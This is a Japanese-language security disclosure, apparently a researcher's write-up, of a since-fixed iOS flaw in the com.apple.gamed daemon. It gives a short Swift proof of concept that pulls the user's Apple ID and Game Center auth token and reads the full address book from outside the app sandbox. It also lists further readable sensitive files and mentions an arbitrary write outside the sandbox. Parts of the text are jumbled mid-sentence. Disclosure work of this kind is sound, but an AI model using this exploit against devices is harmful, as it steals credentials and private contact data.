
更新:Appleは公的な謝辞やクレジットを一切示すことなく、iOS 15.0.2でこれを静かに修正しました。
App Storeからインストールされたアプリは、ユーザーにプロンプトを一切表示することなく以下のデータにアクセスできる可能性があります:
*.apple.com 上の少なくとも1つのエンドポイントにアクセスできます以下は簡単な概念実証(PoC)です。
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
発生の仕組み:
com.apple.gamed は com.apple.developer.game-center エンタイトルメントを適切にチェックしませんgetServicesForPID:localPlayer:reply: を呼び出すと、複数のXPCプロキシオブジェクト(GKAccountService、GKFriendService、GKUtilityService など)が返されます。com.apple.developer.game-center エンタイトルメントを含んでいない場合でも)、GKAccountService で authenticatePlayerWithExistingCredentialsWithHandler: を呼び出すと、ユーザーのApple ID、DSID、Game Center認証トークンを含むオブジェクトが返されます(これにより、ユーザーに代わって https://gc.apple.com にリクエストを送信できます)。GKProfileService で getProfilesForPlayerIDs:handler: を呼び出すと、ユーザーのApple IDの姓名を含むオブジェクトが返されます。 で を呼び出すと、Game Centerにおけるユーザーの友達に関する情報を含むオブジェクトが返されます。Apple Security Bounty Programページでは、この脆弱性は$100,000と評価されています(通常はTCCプロンプトまたはプラットフォームのサンドボックスによって保護されている機密データへの広範なアプリアクセス。「機密データ」へのアクセスには、連絡先からの広範なアクセス(つまり完全なデータベース)の取得が含まれます)。
GKFriendServicegetFriendsForPlayer:handler:com.apple.developer.game-center エンタイトルメントを含んでいない場合でも、GKUtilityService で requestImageDataForURL:subdirectory:fileName:handler: を呼び出すと、ファイルURLをそのメソッドに渡すことでアプリのサンドボックス外の任意のファイルを読み取ることができます。この方法でアクセスできるファイルには、以下のものがあります(これらに限定されません):
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - MobileGestaltキャッシュを含む
/var/mobile/Library/CoreDuet/People/interactionC.db - Mail、SMS、iMessage、サードパーティ製メッセージングアプリからの連絡先リストと、これらの連絡先とのユーザーのやり取りに関するメタデータ(タイムスタンプや統計情報を含む)を含む
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - お気に入りの連絡先とその電話番号を含む
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - 完全なアドレス帳データベースを含む
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - アドレス帳の連絡先の写真を含むGKUtilityService で cacheImageData:inSubdirectory:withFileName:handler: を呼び出すと、アプリのサンドボックス外の場所に任意のデータを書き込める可能性があります。